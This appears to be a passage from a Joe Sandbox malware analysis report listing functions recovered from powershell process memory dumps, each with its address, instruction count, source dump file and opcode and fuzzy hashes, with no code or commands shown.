                              • Opcode ID: 1341078894fc153098bff15042b7e40a8cc316964b21c8c85deb2751cccf2e63
                              • Instruction ID: cb6acb4e9edf07d3b648b94a5366a074bccddf968681990057b7b4fb529e0481
                              • Opcode Fuzzy Hash: 1341078894fc153098bff15042b7e40a8cc316964b21c8c85deb2751cccf2e63
                              • Instruction Fuzzy Hash: 13E012715082925FC7564B15E814456FFB5EE8A22032881C6E9948B247D735DC96DB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 08049AF6 Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b85d1ce33aef81051349a05a607460b24b2859308e75e3225feee1f70a959d47
                              • Instruction ID: 7ad8c6d06a2d2c0f627c5a4042f923c6075d29c41fab83b3d9821dbe6c74c5e7
                              • Opcode Fuzzy Hash: b85d1ce33aef81051349a05a607460b24b2859308e75e3225feee1f70a959d47
                              • Instruction Fuzzy Hash: F2E0C221A085905FC746C658A0200E07FE19F8E20032C80CAD499CB286D6259C438F90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804E1E0 Relevance: .0, Instructions: 18COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: aa3b89e8ef553cce38d0ad6174d2bc9d0ed3dc64b38666b7fe6ce7ebba79e9b7
                              • Instruction ID: 412c913f4cb9dd3317a4df8fbb7f571fb8c73366c194b87268976212fcbc5e98
                              • Opcode Fuzzy Hash: aa3b89e8ef553cce38d0ad6174d2bc9d0ed3dc64b38666b7fe6ce7ebba79e9b7
                              • Instruction Fuzzy Hash: 3FD0C2B25001101BC2916628B8973A82AC9DB91210F08844AD0468BB81DA14594C83F7
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 08048798 Relevance: .0, Instructions: 16COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a90c6bc9a8d0ed26c0e3191eef95483438c2ad2e9fcc1090356d4193591c7e69
                              • Instruction ID: 48dfad1ab9165a835e06edc5f52a5478479338add8f9efb16fd213de69a26d74
                              • Opcode Fuzzy Hash: a90c6bc9a8d0ed26c0e3191eef95483438c2ad2e9fcc1090356d4193591c7e69
                              • Instruction Fuzzy Hash: 5ED05E352005109FC700AB6CE509E99BFE9EB4D711F0140AAF909DB322CA29AC008BB1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 08049B59 Relevance: .0, Instructions: 13COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 06d7388283f545ded0f215de8828e0de4601c197b0a9148e75bbcaffed03f7fd
                              • Instruction ID: 0e14a12f3396be40844dbf2da2eeba936d19a3bacb5e4a0596bacab83ce0fe32
                              • Opcode Fuzzy Hash: 06d7388283f545ded0f215de8828e0de4601c197b0a9148e75bbcaffed03f7fd
                              • Instruction Fuzzy Hash: A8D09274A496824FCB05C714E454991FFA1BB8A2217298295D9998B396C630A992CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 08049B80 Relevance: .0, Instructions: 12COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 96f1fed666372e76b8137ad8fc9508b0932a2d7ebb9f16bf305d898b0270bec6
                              • Instruction ID: 7470cd415821b35a7cdb4ba9ed9346a2da4f608949710feed0fb67548873e4b3
                              • Opcode Fuzzy Hash: 96f1fed666372e76b8137ad8fc9508b0932a2d7ebb9f16bf305d898b0270bec6
                              • Instruction Fuzzy Hash: 90D09E345092828FCB06AB21D554405FBB1FF56351329C1D9D8948B256CB309855DB41
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796912C Relevance: .0, Instructions: 10COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 359b0c1a2c223acc01e2023bea99f4abc784f51b96022543472a95c66d3fc9eb
                              • Instruction ID: 7d180ee03d68bd74fefab5cd839cfd9bcdd390725ecf5870fed29a66a08f1568
                              • Opcode Fuzzy Hash: 359b0c1a2c223acc01e2023bea99f4abc784f51b96022543472a95c66d3fc9eb
                              • Instruction Fuzzy Hash: F5C0025540E7C49ED70393390D2A5A56FA05D5367078E03EB81E8CBAE3C44D89299757
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 080467F1 Relevance: .0, Instructions: 7COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b54419068d6fc813007a691df723be3f0c834bbf96c866db8fc7f46f8ca7ce90
                              • Instruction ID: 4908d6bfad8fb39cd32303c4e2e90e29198c4b8ca680a44e679d5f79c6055f3f
                              • Opcode Fuzzy Hash: b54419068d6fc813007a691df723be3f0c834bbf96c866db8fc7f46f8ca7ce90
                              • Instruction Fuzzy Hash: F3B0922048A2C466CF618AB5A44A3C83FA0AB52701F09809BE488488429478014AC711
                              Uniqueness

                              Uniqueness Score: -1.00%